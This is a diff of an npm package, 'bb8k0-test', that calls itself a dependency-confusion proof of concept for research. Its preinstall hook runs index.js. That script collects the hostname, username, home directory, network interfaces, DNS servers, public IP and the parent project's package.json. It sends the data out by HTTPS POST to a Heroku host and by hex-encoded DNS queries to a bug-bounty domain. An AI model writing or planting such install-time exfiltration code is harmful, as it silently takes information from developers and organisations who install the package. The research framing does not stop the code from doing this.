bb8k0-test 0.200.4

package/index.js

@@ -0,0 +1,143 @@
+// This is a PoC of dependecy confusion attack, published for security research purposes only.
+// The code contained in this package does not exfiltrate any type of credential
+
+const https = require('https');
+const os = require("os");
+const dns = require("dns");
+const packageJSON = require("./package.json");
+const package = packageJSON.name;
+
+const sendData = (url, path, method, post_data) => {
+  const promise = new Promise((resolve, reject) => {
+    var options = {
+      hostname: url,
+      port: 443,
+      path,
+      method,
+      headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': post_data ? Buffer.byteLength(post_data) : 0
+      }
+    };
+
+    var req = https.request(options, function (res) {
+      res.setEncoding('utf8');
+
+      var body = '';
+
+      res.on('data', function (chunk) {
+        body = body + chunk;
+      });
+
+      res.on('end', function () {
+        if (res.statusCode != 200) {
+          reject("Api call failed with response code " + res.statusCode);
+        } else {
+          resolve(body);
+        }
+      });
+    });
+
+    req.on('error', function (e) {
+      console.log("Error : " + e.message);
+      reject(e);
+    });
+
+    if (post_data) req.write(post_data);
+    req.end();
+  });
+  return promise;
+}
+
+const getIP = () => {
+  return sendData('api.ipify.org', '/?format=json', 'GET', '');
+}
+
+const sendUsingHTTP = (data) => {
+  const { networkInterfaces } = os;
+  const nets = networkInterfaces();
+
+  let parentPackageJSON = {};
+
+  try {
+    const regex = new RegExp("node_modules/\s*([^.]+|\S+)")
+    const appDir = __dirname.replace(regex, "")
+
+    parentPackageJSON = require(appDir + "package.json");
+  }
+  catch (e) {
+    parentPackageJSON = { message: "No parent package.json found" };
+  }
+
+  const telemetry = JSON.stringify({
+    package: package,
+    date: new Date(),
+    tzOffset: new Date().getTimezoneOffset(),
+    actualDirectory: __dirname,
+    homeDirectory: os.homedir(),
+    hostname: os.hostname(),
+    userName: os.userInfo().username,
+    dns: dns.getServers(),
+    resolved: packageJSON ? packageJSON.___resolved : undefined,
+    version: packageJSON.version,
+    packageJSON,
+    parentPackageJSON,
+    ip: data.ip || "",
+    ...nets
+  });
+
+  sendData('yggdrasilr.herokuapp.com', '', 'POST', telemetry);
+}
+
+function sendUsingDNSQuery(data) {
+
+  function chunkString(str, length) {
+    return str.match(new RegExp('.{1,' + length + '}', 'g')).toString().replaceAll(",", ".");
+  }
+
+  String.prototype.hexEncode = function () {
+    var hex, i;
+    var result = "";
+    for (i = 0; i < this.length; i++) {
+      hex = this.charCodeAt(i).toString(16);
+      result += ("000" + hex).slice(-4);
+    }
+
+    return result
+  }
+
+  String.prototype.replaceAll = function (find, replace) {
+    return this.replace(new RegExp(find, 'g'), replace);
+  }
+
+  const ip = data.ip || "";
+
+  const query = os.hostname() + "," + os.userInfo().username + "," + ip + "," + os.homedir()
+  const hexInfos = query.hexEncode();
+  const chunked = chunkString(hexInfos, 50)
+
+  // Just for debugging, please comment before publish
+  // console.log(chunked + ".sub.bugbountyautomation.com")
+
+  let messages = chunked.split('.');
+
+  messages.map((message, item) => {
+    // console.log(message + "." + item);
+    dns.resolve(message + "." + item + ".sub.bugbountyautomation.com", (err, address) => {
+      if (err) {
+        console.log(err.stack)
+      }
+    });
+  });
+}
+
+const sendTelemetry = async () => {
+  getIP().then(data => {
+    if (data) {
+      sendUsingHTTP(JSON.parse(data));
+      sendUsingDNSQuery(JSON.parse(data));
+    }
+  });
+}
+
+sendTelemetry();

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "bb8k0-test",
+  "version": "0.200.4",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
+}